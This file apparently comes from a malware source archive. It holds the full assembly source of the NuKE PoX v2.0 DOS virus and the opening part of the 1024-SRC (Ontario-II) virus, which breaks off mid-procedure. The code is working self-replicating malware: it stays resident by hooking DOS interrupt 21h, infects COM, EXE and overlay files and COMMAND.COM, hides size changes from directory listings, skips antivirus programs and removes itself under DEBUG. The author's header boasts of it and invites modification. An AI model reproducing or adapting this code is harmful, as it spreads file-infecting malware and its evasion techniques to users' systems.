MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.npox-v20.asm
2021-01-12 17:52:14 -06:00

1454 lines
109 KiB
NASM

;==========================================================================
; ** NuKE Pox v2.0 **
;This is VERY old code but I promised to give it out, you'll see it exactly
;like Npox v1.1 in IJ#4, The code here is VERY BADLY written, I wrote WHOLE
;procedures TWICE! so LOTS of double code, I leave it UNTOUCHED for you to
;see, and understand it! I don't care if you fuck with it, go for it!
;The method of TSR is old, method of getting the Vectors is bad, the way
;I infect EXEs ain't too hot... But hell it works! It infects overlays..
;it won't infect F-prot.exe or anything with ????SCAN.EXE like SCAN.EXE or
;TBSCAN.EXE etc... Command.com dies fast... Really neat...Play all you like
;
;And to all those that said I `Hacked' this...
; FFFFFF UU UU CCCC KK KK YY YY OOOO UU UU
; FF UU UU CC CC KK KK YY YY OO OO UU UU
; FFFF UU UU CC KKK === YY OO OO UU UU
; FF UU UU CC CC KK KK YY OO OO UU UU
; FF UUUUUU CCCC KK KK YY OOOO UUUUUU
;Just cuz you can't do it, doesn't mean I can't, anyhow my 93 viruses are
;500% better than this one...
;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
;-* (c) Rock Steady, Viral Developments -*
;*- (c) NuKE Software Developement 1991, 1992 *-
;-* -*
;*- Virus: NuKE PoX Version: 2.0 *-
;-* ~~~~~~ ~~~~~~~~ -*
;*- Notes: EXE & COM & OVL Infector, TSR Virus. Dir Stealth Routine. *-
;-* Will Disinfect files that are opened, and re-infect them -*
;*- when they are closed! Executed files are disinfected then *-
;-* executed, and when terminated reinfected! -*
;*- VERY HARD to stop, it goes for your COMMAND.COM! beware! *-
;-* It is listed as a COMMON Virus due to is stealthiness! -*
;*- Bytes: 1800 Bytes *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
virus_size equ last - init_virus ;Virus size
mut1 equ 3
mut2 equ 1
mut3 equ 103h ;Offset location
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h ;COM file!
rocko proc far
start: jmp init_virus
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Virus Begins Here...
;-------------------------------------------------------------------------
init_virus: call doit_now ;Doit VirusMan...
doit_now: pop bp ;Not to Lose Track
sub bp,106h ;Set our position
push ax ;Save all the regesters
push bx
push cx
push dx
push si
push di
push bp
push es
push ds
mov ax,0abcdh ;Are we resident Already?
int 21h ;***McAfee Scan String!
cmp bx,0abcdh ;Yupe... Quit Then...
je exit_com
push cs ;Get CS=DS
pop ds
mov cx,es
mov ax,3521h ;Sometimes tend to inter-
int 21h ;cept this Interrupt...
mov word ptr cs:[int21+2][bp],es ;Save the Int
mov word ptr cs:[int21][bp],bx ;Vector Table
dec cx ;Get a new Memory block
mov es,cx ;Put it Back to ES
mov bx,es:mut1 ;Get TOM size
mov dx,virus_size ;Virus size in DX
mov cl,4 ;Shift 4 bits
shr dx,cl ;Fast way to divide by 16
add dx,4 ;add 1 more para segment
mov cx,es ;current MCB segment
sub bx,dx ;sub virus_size from TOM
inc cx ;put back right location
mov es,cx
mov ah,4ah ;Set_block
int 21h
jc exit_com
mov ah,48h ;now allocate it
dec dx ;number of para
mov bx,dx ;
int 21h
jc exit_com
dec ax ;get MCB
mov es,ax
mov cx,8h ;Made DOS the owner of MCB
mov es:mut2,cx ;put it...
sub ax,0fh ;get TOM
mov di,mut3 ;beginnig of our loc in mem
mov es,ax ;
mov si,bp ;delta pointer
add si,offset init_virus ;where to start
mov cx,virus_size
cld
repne movsb ;move us
mov ax,2521h ;Restore Int21 with ours
mov dx,offset int21_handler ;Where it starts
push es
pop ds
int 21h
exit_com: push cs
pop ds
cmp word ptr cs:[buffer][bp],5A4Dh
je exit_exe_file
mov bx,offset buffer ;Its a COM file restore
add bx,bp ;First three Bytes...
mov ax,[bx] ;Mov the Byte to AX
mov word ptr ds:[100h],ax ;First two bytes Restored
add bx,2 ;Get the next Byte
mov al,[bx] ;Move the Byte to AL
mov byte ptr ds:[102h],al ;Restore the Last of 3b
pop ds
pop es
pop bp ;Restore Regesters
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ax,100h ;Jump Back to Beginning
push ax ;Restores our IP (a CALL
retn ;Saves them, now we changed
command db "C:\COMMAND.COM",0
exit_exe_file: mov bx,word ptr cs:[vir_cs][bp] ;fix segment loc
mov dx,cs ;
sub dx,bx
mov ax,dx
add ax,word ptr cs:[exe_cs][bp] ;add it to our segs
add dx,word ptr cs:[exe_ss][bp]
mov bx,word ptr cs:[exe_ip][bp]
mov word ptr cs:[fuck_yeah][bp],bx
mov word ptr cs:[fuck_yeah+2][bp],ax
mov ax,word ptr cs:[exe_ip][bp]
mov word ptr cs:[Rock_fix1][bp],dx
mov word ptr cs:[Rock_fix2][bp],ax
pop ds
pop es
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
db 0B8h ;nothing but MOV AX,XXXX
Rock_Fix1:
dw 0
cli
mov ss,ax
db 0BCh ;nothing but MOV SP,XXXX
Rock_Fix2:
dw 0
sti
db 0EAh ;nothing but JMP XXXX:XXXX
Fuck_yeah:
dd 0
int21 dd ? ;Our Old Int21
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Dir Handler
;-------------------------------------------------------------------------
old_dir: call calldos21 ;get FCB
test al,al ;error?
jnz old_out ;nope
push ax
push bx
push es
mov ah,51h ;get PSP
int 21h
mov es,bx ;
cmp bx,es:[16h] ;
jnz not_infected
mov bx,dx
mov al,[bx]
push ax
mov ah,2fh
int 21h
pop ax
inc al ;Extended FCB?
jnz fcb_okay
add bx,7h
fcb_okay: mov ax,es:[bx+17h]
and ax,1fh
cmp al,1eh
jnz not_infected
and byte ptr es:[bx+17h],0e0h ;fix secs
sub word ptr es:[bx+1dh],virus_size
sbb word ptr es:[bx+1fh],0
not_infected: pop es
pop bx
pop ax
old_out: iret
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Int 21 Handler
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
int21_handler: cmp ah,11h
je old_dir
cmp ah,12h
je old_dir
cmp ax,4b00h ;File executed
je dis_infect
cmp ah,3dh
je check_file
cmp ah,3eh
je check_file2
cmp ax,0abcdh ;Virus testing
jne int21call
mov bx,0abcdh
int21call: jmp dword ptr cs:[int21] ;Split...
check_file: jmp opening_file ;Like a Charm
check_file2: jmp closing_file
dis_infect: call disinfect ;EXE & COM okay
dont_disinfect: push dx
pushf
push cs
call int21call
pop dx
execute: push ax
push bx
push cx
push dx
push ds
push ax
push bx
push cx
push dx
push ds
push bp
push cs
pop ds
mov dx,offset command
mov bp,0abcdh
jmp command1
command_ret: pop bp
pop ds
pop dx
pop cx
pop bx
pop ax
call check_4_av
jc exit1
command1: mov ax,4300h ;Get file Attribs
call calldos21
jc exit1
test cl,1h ;Make sure there normal
jz open_file ;Okay there are
and cl,0feh ;Nope, Fix them...
mov ax,4301h ;Save them now
call calldos21
jc exit
open_file: mov ax,3D02h
call calldos21
exit1: jc exit
mov bx,ax ;BX File handler
mov ax,5700h ;Get file TIME + DATE
Call calldos21
mov al,cl
or cl,1fh ;Un mask Seconds
dec cx ;60 seconds
xor al,cl ;Is it 60 seconds?
jz exit ;File already infected
push cs
pop ds
mov word ptr ds:[old_time],cx ;Save Time
mov word ptr ds:[old_date],dx ;Save Date
mov ah,3Fh
mov cx,1Bh ;Read first 1B
mov dx,offset ds:[buffer] ;into our Buffer
call calldos21
jc exit_now ;Error Split
mov ax,4202h ;Move file pointer
xor cx,cx ;to EOF File
xor dx,dx
call calldos21
jc exit_now ;Error Split
cmp word ptr ds:[buffer],5A4Dh ;Is file an EXE?
je exe_infect ;Infect EXE file
mov cx,ax
sub cx,3 ;Set the JMP
mov word ptr ds:[jump_address+1],cx
call infect_me ;Infect!
jc exit
mov ah,40h ;Write back the
mov dx,offset jump_address
mov cx,3h
call calldos21
exit_now:
mov cx,word ptr ds:[old_time] ;Restore old time
mov dx,word ptr ds:[old_date] ;Restore Old date
mov ax,5701h
call calldos21
mov ah,3Eh
call calldos21
exit: cmp bp,0abcdh
je command2
pop ds
pop dx
pop cx
pop bx
pop ax
iret
command2: jmp command_ret
exe_infect: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc exit
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
mov bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz outta_here
inc dx
outta_here: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
exit_exe: jmp exit_now
rocko endp
vir_cs dw 0
exe_ip dw 0
exe_cs dw 0
exe_sp dw 0
exe_ss dw 0
exe_sz dw 0
exe_rm dw 0
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Opening File handle AX=3D
;-------------------------------------------------------------------------
opening_file: call check_extension
jnc open_fuck2
call check_exten_exe
jnc open_fuck2
jmp dword ptr cs:[int21]
open_fuck2: push ax
mov ax,3d02h
call calldos21
jnc open_fuck1
pop ax
iret
open_fuck1: push bx
push cx
push dx
push ds
mov bx,ax
mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jnz opening_exit3
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes Pointer to EOF
xor cx,cx
xor dx,dx
call calldos21
mov cx,dx
mov dx,ax
push cx
push dx
sub dx,1Bh ;Get first 3 Bytes
sbb cx,0
mov ax,4200h
call calldos21
push cs
pop ds
mov ah,3fh ;Read them into Buffer
mov cx,1Bh
mov dx,offset buffer
call calldos21
xor cx,cx ;Goto Beginning of File
xor dx,dx
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je open_exe_jmp
mov cx,3h
open_exe_jmp: call calldos21
pop dx ;EOF - Virus_Size
pop cx ;to get ORIGINAL File size
sub dx,virus_size
sbb cx,0
mov ax,4200h
call calldos21
mov ah,40h ;Fix Bytes
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
int 21h
mov ah,3eh ;Close File
call calldos21
opening_exit3: pop ds
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Closing File Handle INFECT it!
;-------------------------------------------------------------------------
closing_file: cmp bx,0h
je closing_bye
cmp bx,5h
ja close_cont
closing_bye: jmp dword ptr cs:[int21]
close_cont: push ax
push bx
push cx
push dx
push di
push ds
push es
push bp
push bx
mov ax,1220h
int 2fh
mov ax,1216h
mov bl,es:[di]
int 2fh
pop bx
add di,0011h
mov byte ptr es:[di-0fh],02h
add di,0017h
cmp word ptr es:[di],'OC'
jne closing_next_try
cmp byte ptr es:[di+2h],'M'
jne pre_exit
jmp closing_cunt3
closing_next_try:
cmp word ptr es:[di],'XE'
jne pre_exit
cmp byte ptr es:[di+2h],'E'
jne pre_exit
closing_cunt: cmp word ptr es:[di-8],'CS'
jnz closing_cunt1 ;SCAN
cmp word ptr es:[di-6],'NA'
jz pre_exit
closing_cunt1: cmp word ptr es:[di-8],'-F'
jnz closing_cunt2 ;F-PROT
cmp word ptr es:[di-6],'RP'
jz pre_exit
closing_cunt2: cmp word ptr es:[di-8],'LC'
jnz closing_cunt3
cmp word ptr es:[di-6],'AE' ;CLEAN
jnz closing_cunt3
pre_exit: jmp closing_nogood
closing_cunt3: mov ax,5700h
call calldos21
mov al,cl
or cl,1fh
dec cx ;60 Seconds
xor al,cl
jz closing_nogood
push cs
pop ds
mov word ptr ds:[old_time],cx
mov word ptr ds:[old_date],dx
mov ax,4200h
xor cx,cx
xor dx,dx
call calldos21
mov ah,3fh
mov cx,1Bh
mov dx,offset buffer
call calldos21
jc closing_no_good
mov ax,4202h
xor cx,cx
xor dx,dx
call calldos21
jc closing_no_good
cmp word ptr ds:[buffer],5A4Dh
je closing_exe
mov cx,ax
sub cx,3h
mov word ptr ds:[jump_address+1],cx
call infect_me
jc closing_no_good
mov ah,40h
mov dx,offset jump_address
mov cx,3h
call calldos21
closing_no_good:
mov cx,word ptr ds:[old_time]
mov dx,word ptr ds:[old_date]
mov ax,5701h
call calldos21
closing_nogood: pop bp
pop es
pop ds
pop di
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[int21]
closing_exe: mov cx,word ptr cs:[buffer+20]
mov word ptr cs:[exe_ip],cx
mov cx,word ptr cs:[buffer+22]
mov word ptr cs:[exe_cs],cx
mov cx,word ptr cs:[buffer+16]
mov word ptr cs:[exe_sp],cx
mov cx,word ptr cs:[buffer+14]
mov word ptr cs:[exe_ss],cx
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
mov word ptr cs:[vir_cs],dx
push ax
push dx
call infect_me
pop dx
pop ax
mov word ptr cs:[buffer+22],dx
mov word ptr cs:[buffer+20],ax
pop dx
pop ax
jc closing_no_good
add ax,virus_size
adc dx,0
push ax
push dx
call multiply
sub dx,word ptr cs:[buffer+8]
add ax,40h
mov word ptr cs:[buffer+14],dx
mov word ptr cs:[buffer+16],ax
pop dx
pop ax
push bx
push cx
mov cl,7
shl dx,cl
mov bx,ax
mov cl,9
shr bx,cl
add dx,bx
and ax,1FFh
jz close_split
inc dx
close_split: pop cx
pop bx
mov word ptr cs:[buffer+2],ax
mov word ptr cs:[buffer+4],dx
mov ah,40h
mov dx,offset ds:[buffer]
mov cx,20h
call calldos21
closing_over: jmp closing_no_good
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Infection Routine...
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
infect_me proc
mov ah,40h
mov dx,offset init_virus
mov cx,virus_size
call calldos21
jc exit_error ;Error Split
mov ax,4200h
xor cx,cx ;Pointer back to
xor dx,dx ;top of file
call calldos21
jc exit_error ;Split Dude...
clc ;Clear carry flag
ret
exit_error:
stc ;Set carry flag
ret
infect_me endp
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; DisInfection Routine for 4B
;-------------------------------------------------------------------------
Disinfect PROC
push ax
push bx ;Save them
push cx
push dx
push ds
mov ax,4300h ;Get file Attribs
call calldos21
test cl,1h ;Test for Normal Attribs
jz okay_dis ;Yes, File can be opened
and cl,0feh ;No, Set them to Normal
mov ax,4301h ;Save attribs to file
call calldos21
jc half_way
okay_dis: mov ax,3d02h ;File now can be opened
call calldos21 ;Safely
jc half_way
mov bx,ax ;Put File Handle in BX
mov ax,5700h ;Get File Time & Date
call calldos21
mov al,cl ;Check to see if infected
or cl,1fh ;Unmask Seconds
dec cx ;Test to see if 60 seconds
xor al,cl
jnz half_way ;No, Quit File AIN'T
dec cx
mov word ptr cs:[old_time],cx
mov word ptr cs:[old_date],dx
mov ax,4202h ;Yes, file is infected
xor cx,cx ;Goto the End of File
xor dx,dx
call calldos21
push cs
pop ds
mov cx,dx ;Save Location into
mov dx,ax ;CX:DX
push cx ;Push them for later use
push dx
sub dx,1Bh ;Subtract file 1Bh from the
sbb cx,0 ;End so you will find the
mov ax,4200h ;Original EXE header or
call calldos21 ;First 3 bytes for COMs
mov ah,3fh ;Read them into Buffer
mov cx,1Bh ;Read all of the 1B bytes
mov dx,offset buffer ;Put them into our buffer
call calldos21
jmp half
half_way: jmp end_dis
half: xor cx,cx ;
xor dx,dx ;Goto the BEGINNING of file
mov ax,4200h
call calldos21
mov ah,40h ;Write first three bytes
mov dx,offset buffer ;from buffer to COM
mov cx,1Bh
cmp word ptr cs:[buffer],5A4Dh
je dis_exe_jmp
mov cx,3h
dis_exe_jmp: call calldos21
pop dx ;Restore CX:DX which they
pop cx ;to the End of FILE
sub dx,virus_size ;Remove Virus From the END
sbb cx,0 ;of the Orignal File
mov ax,4200h ;Get new EOF
call calldos21
mov ah,40h ;Write new EOF to File
xor cx,cx
call calldos21
mov cx,word ptr cs:[old_time]
mov dx,word ptr cs:[old_date]
mov ax,5701h
call calldos21
mov ah,3eh ;Close File
call calldos21
end_dis: pop ds
pop dx
pop cx ;Restore 'em
pop bx
pop ax
ret
disinfect ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;--------------------------------------------------------------------------
Check_extension PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me: cmp byte ptr ds:[si],2eh
je next_ok
inc si
loop loop_me
next_ok: cmp word ptr ds:[si+1],'OC'
jne next_1
cmp byte ptr ds:[si+3],'M'
je good_file
next_1: cmp word ptr ds:[si+1],'oc'
jne next_2
cmp byte ptr ds:[si+3],'m'
je good_file
next_2: pop cx
pop si
stc
ret
good_file: pop cx
pop si
clc
ret
Check_extension ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check File Extension DS:DX ASCIIZ
;-------------------------------------------------------------------------
Check_exten_exe PROC
push si
push cx
mov si,dx
mov cx,256h
loop_me_exe: cmp byte ptr ds:[si],2eh
je next_ok_exe
inc si
loop loop_me_exe
next_ok_exe: cmp word ptr ds:[si+1],'XE'
jne next_1_exe
cmp byte ptr ds:[si+3],'E'
je good_file_exe
next_1_exe: cmp word ptr ds:[si+1],'xe'
jne next_2_exe
cmp byte ptr ds:[si+3],'e'
je good_file_exe
next_2_exe: pop cx
pop si
stc
ret
good_file_exe: pop cx
pop si
clc
ret
Check_exten_exe ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Call Int_21h Okay
;-------------------------------------------------------------------------
calldos21 PROC
pushf
call dword ptr cs:[int21]
retn
calldos21 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; MultiPly
;--------------------------------------------------------------------------
multiply PROC
push bx
push cx
mov cl,0Ch
shl dx,cl
xchg bx,ax
mov cl,4
shr bx,cl
and ax,0Fh
add dx,bx
pop cx
pop bx
retn
multiply ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
; Check for AV file... Like SCAN.EXE or F-PROT.EXE
;-------------------------------------------------------------------------
Check_4_av PROC
push si
push cx
mov si,dx
mov cx,256h
av: cmp byte ptr ds:[si],2eh
je av1
inc si
loop av
av1: cmp word ptr ds:[si-2],'NA'
jnz av2
cmp word ptr ds:[si-4],'CS'
jz fuck_av
av2: cmp word ptr ds:[si-2],'NA'
jnz av3
cmp word ptr ds:[si-4],'EL'
jz fuck_av
av3: cmp word ptr ds:[si-2],'TO'
jnz not_av
cmp word ptr ds:[si-4],'RP'
jz fuck_av
not_av: pop cx
pop si
clc
ret
fuck_av: pop cx
pop si
stc
ret
Check_4_av ENDP
msg db "NuKE PoX V2.0 - Rock Steady"
old_time dw 0
old_date dw 0
file_handle dw 0
jump_address db 0E9h,90h,90h
buffer db 90h,0CDh,020h ;\
db 18h DUP (00) ;-Make 1Bh Bytes
last:
seg_a ends
end start
;==========================================================================
;=========================================================================
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; 1024-SRC Virus (Ontario-II) by Death Angel
; ========
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
;This VIRUS was only written as an experiment to see how far a computer
;virus could go through development. This pariticular virus in its present
;form WILL NOT do any damage to your data or go off bouncing a ball across
;your screen or play Yankee Doddle, IT WILL ONLY infect programs.
;
; Virus Information:
; Hides: In upper RAM, requires 3K of memory.
; Size: 1K (exactly when attached to either EXE or COM files)
; ID: Seconds in date of file is set to 32 (impossible value)
; .COM files, the 4th byte is 'O'
; .EXE files, the stack pointer is 0600h
;
; Cover-Up: If loaded with DEBUG, it will remove itself from memory.
; When doing a DIR, it will cover up the filesize increase.
;
;Notes: Also infects on a file open if the file ends in COM,EXE or OVL
;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Stack_Size Equ 512+1
Code Segment Para Public 'CODE'
Assume Cs:Code, Ds:Code
Org 0000h
Jmpfar Macro addr
db 0EAh
dd addr
Endm
Callfar Macro addr
db 09Ah
dd addr
Endm
Retfar Macro num
db 0CAh
dw num
Endm
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Do a loop to decode the rest of the virus.
Virus_Begin:
V00: Mov Bx, offset V05-V05_Back
V04: Mov Cx, offset Start_Code-(offset V05-V05_Back)
V01: Mov Al, 00h
V02: Add Byte ptr Cs:[Bx], Al
V03: Xor Al, 00h
Inc Bx
Loop V02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
V05_Back Equ 0
V05: Sub Bx, offset Start_Code
Xchg Ax, Cx
Dec Ax
Int 21h
Or Al, Ah
Je Run_Prog
Push Ds
Xor Di, Di
Mov Ds, Di
Lds Ax, Dword ptr Ds:[21h*4]
Mov Word ptr Cs:[Bx].Saved_21, Ax
Mov Word ptr Cs:[Bx].Saved_21+2, Ds
Mov Cx, Es
Dec Cx
Mov Ds, Cx
Sub Word ptr Ds:[Di+03h], 3072/16
Mov Ax, Word ptr Ds:[Di+12h]
Sub Ax, 3072/16
Mov Word ptr Ds:[Di+12h], Ax
Mov Es, Ax
Sub Ax, 1000h
Mov Word ptr Cs:[Bx+Dos_Seg-2], Ax
Push Cs
Pop Ds
Mov Si, Bx
Mov Cx, offset Start_Code
Cld
Rep Movsb
Mov Ds, Cx
Cli
Mov Word ptr Ds:[21h*4], offset New_21
Mov Word ptr Ds:[21H*4]+2, Es
Sti
Mov Ax, 4BFFh
Push Bx
Int 21h
Pop Bx
Pop Ds
Push Ds
Pop Es
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Run_Prog:
Lea Si, [Bx].Start_Code
Mov Di, 0100h
Cmp Bx, Di
Jb Run_Exe
Run_COM:
Push Di
Movsw
Movsw
Ret
Run_EXE:
Mov Ax, Es
Add Ax, 0010h
Add Word ptr Cs:[Si+02], Ax
Add Word ptr Cs:[Si+04], Ax
Cli
Mov Sp, Word ptr Cs:[Si+06]
Mov Ss, Word ptr Cs:[Si+04]
Sti
Jmp Dword ptr Cs:[Si+00]
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Check_Present:
Inc Ax
Iret
New_21: Cmp Ax, 0FFFFh ; Checking if resident ?
Je Check_Present
Cmp Ah, 4Bh ; Executing a program ?
Je Load_Program
Cmp Ah, 11h ; Doing a DIR ?
Je Find_First
Cmp Ah, 12h ; Doing a DIR ?
Je Find_Next
Cmp Ax, 3D00h ; Opening a file ?
Jne Run_21
Call Open_File
Run_21:
Jmpfar 0 ; Goto vector 21h
Saved_21 Equ $-4
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Find_First:
Find_Next:
Push Bp
Mov Bp, Sp
Cmp Word ptr [Bp+04], 1234h
Dos_Seg:
Pop Bp
Jb Run_21
Call Do_21
Call Save_Regs
Mov Ah, 2Fh
Call Do_21
Cmp Byte ptr Es:[Bx], 0FFh
Je F20
Sub Bx, +7
F20: Mov Al, Byte ptr Es:[Bx].1Eh
And Al, 1Fh
Cmp Al, 1Fh
Jne F00
Mov Dx, Word ptr Es:[Bx].26h
Mov Ax, Word ptr Es:[Bx].24h
Sub Ax, offset Virus_End
Sbb Dx, +00
Or Dx, Dx
Jb F00
Mov Word ptr Es:[Bx].26h, Dx
Mov Word ptr Es:[Bx].24h, Ax
F00: Call Restore_Regs
IRet
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Load_Program:
Cmp Al, 01h
Je Disinfect_DEBUG
Cmp Al, 0FFh
Je Infect_COMSPEC
Call Infect_File
Jmp Run_21
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Infect_COMMAND:
Push Dx
Push Ds
Mov Dx, offset Command_File
Push Cs
Pop Ds
Mov Byte ptr Ds:Command_Flag, 0FFh
Call Infect_File
Pop Ds
Pop Dx
Iret
Infect_COMSPEC:
Mov Ah, 51h
Call Do_21
Mov Es, Bx
Mov Ds, Es:[002Ch]
Xor Si, Si
Push Cs
Pop Es
LP00: Mov Di, offset COMSPEC_name
Mov Cx, 0004h
Rep Cmpsw
Jcxz LP20
LP10: Lodsb
Or Al, Al
Jne LP10
; Cmp Al, Byte ptr [Si]
Cmp Byte ptr [Si], 00
Jne LP00
Jmp Infect_COMMAND
LP20: Mov Dx, Si
Mov Byte ptr Cs:Command_Flag, 0FFh
Call Infect_File
IRet
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Disinfect_DEBUG:
Push Es
Push Bx
Call Do_21
Pop Bx
Pop Es
Call Save_Regs
Jb LP30
Xor Cx, Cx
Lds Si, Dword ptr Es:[Bx].12h
Push Ds
Push Si
Mov Di, 0100h
Cmp Si, Di
Jl DI00
Ja LP31
Lodsb
Cmp Al, 0E9h
Jne LP31
Lodsw
Push Ax
Lodsb
Cmp Al, 'O'
Pop Si
Jne LP31
Add Si, 103h
Inc Cx
Inc Cx
Pop Ax
Push Si
Push Ds
Pop Es
Jmp short DI10
DI00: Lea Di, Dword ptr [Bx].0Eh
Cmp Word ptr Es:[Di].00h, offset Virus_End+Stack_Size-2
Jne LP31 ; Note 4B01/decrements stack by 2
DI10: Lodsb
Cmp Al, 0BBh
Jne LP31
Lodsw
Push Ax
Lodsw
Cmp Ax, Word ptr Cs:[V04]
Pop Si
Jne LP31
Add Si, offset Start_Code-(offset V05-V05_Back)
Jcxz DI15
Rep Movsw
Jmp short DI25
DI15: Mov Ah, 51h
Call Do_21
Add Bx, 0010h
Mov Ax, [Si+06h]
Dec Ax
Dec Ax
Stosw
Mov Ax, [Si+04h]
Add Ax, Bx
Stosw
Movsw
Lodsw
Add Ax, Bx
Stosw
DI25: Pop Di
Pop Es
Xchg Cx, Ax
Mov Cx, offset Virus_End
Rep Stosb
Jmp short LP32
LP31: Pop Ax
Pop Ax
LP32: Xor Ax, Ax
Clc
LP30: Call Restore_Regs
Retfar 0002h
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Open_File Proc Near
Call Save_Regs
Mov Si, Dx
OF00: Lodsb
Or Al, Al
Je OF50
Cmp Al, '.'
Jne OF00
Mov Di, offset File_Exts-3
Push Cs
Pop Es
Mov Cx, 0003h
OF10: Push Cx
Push Si
Mov Cl, 03h
Add Di, Cx
Push Di
OF12: Lodsb
And Al, 5Fh
Cmp Al, Byte ptr Es:[Di]
Jne OF15
Inc Di
Loop OF12
Call Infect_File
Add Sp, +6
Jmp short OF50
OF15: Pop Di
Pop Si
Pop Cx
Loop OF10
OF50: Call Restore_Regs
Ret
Open_File Endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Infect_File Proc Near
Call Save_Regs
